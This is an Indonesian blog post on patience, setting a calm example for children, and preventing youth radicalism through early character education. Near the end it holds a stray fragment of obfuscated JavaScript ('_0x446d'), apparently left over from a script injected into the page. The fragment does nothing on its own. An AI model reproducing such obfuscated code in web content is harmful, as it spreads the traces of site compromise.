welas asih dan kesabaran kunci kedamaian

Pernah kesulitan melakukan sesuatu? Misalkan kesulitan membuka botol selai. Apa yang kemudian biasanya dilakukan? Bisa dengan mencari bantuan untuk membukanya seperti menggunakan kain atau kalau belum bisa terbuka juga, jangan-jangan salah arah membukanya? Pikiran yang benar seperti itu. Jangan sampai karena botol selai tak jua terbuka, botolnya kemudian dipecahkan. Kan sayang. Selainya malah jadi tidak bisa digunakan.

Ilustrasi di atas menggambarkan bagaimana kesabaran dan pikiran yang jernih dapat menyelesaikan masalah. Sebaliknya, pikiran yang tidak sabar dan cenderung memperturutkan hawa nafsu justru akan memperkeruh keadaan. Bila menilik pada ilustrasi botol selai, ketidaksabaran malah membuat kita kehilangan selai karena terlanjur bercampur dengan pecahan kaca.

Sebagai orang tua, sejatinya kita mampu memberikan contoh berperilaku sabar dan berpikiran jernih kepada anak kita. Karena anak ibarat spons yang gampang menyerap segala sesuatu yanh dicontohkan kepadanya.

solidaritas pojok

Apa jadinya bila sebagai orang tua kita bersikap tidak sabaran dan gampang memilih kekerasan sebagai pilihan menyelesaikan masalah? Tentu tidak heran bila anak kemudian tumbuh menjadi pribadi yang mudah menggunakan kekerasan untuk mendapatkan yang diinginkan.

Orang tua mana pun tentu tidak akan mempunyai cita-cita memiliki anak yang menjadi perusak bangsa. Oleh karena itu, didiklah perilaku dan emosi sebagai orang tua, agar bisa memberi contoh yang baik bagi anak kita.

Tangkal Radikalisme Sejak Dini dengan Pendidikan Berkarakter

Usia dini adalah waktu yang tepat untuk menanamkan pendidikan karakter untuk anak. Pendidikan karakter yang dimaksud adalah pendidikan mengenai etika dan toleransi. Anak usia dini perlu diajarkan mengenai caranya menghargai orang lain dan menerima perbedaan. Selain itu, anak juga mulai diajarkan untuk terbuka dengan apa yang dirasakannya dan bagaimana mengekspresikannya. Radikalisme yang terjadi akhir-akhir ini disebabkan kurangnya toleransi dan penyaluran emosi dari pelakunya. Seperti kasus bom di Medan yang ternyata pelakunya masih belia. Bisa dipastikan bahwa anak ini sebenarnya adalah anak yang cerdas. Sayangnya penyaluran kreatifitasnya tidak benar, akhirnya dia malah berbuat merusak. Padahal, andaikata dia mendapatkan pengarahan dan bimbingan, pasti kreativitasnya bisa disalurkan ke arah yang positif.

Radikalisme yang terjadi saat ini, dapat terjadi bukan karena seseorang memiliki idealisme dan kepentingan politik tertentu. Tetapi radikalisme saat ini dapat terjadi karena seseorang merasa dengan tindakan radikalnya itu ia lebih dianggap dan tampak keren. Padahal tanpa disadarinya, tindakannya itu justru merugikan keluarga dan bangsanya.

Pendidikan karakter pada anak, dapat menjadi salah satu solusi mencegah tindakan radikal dari anak-anak. d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *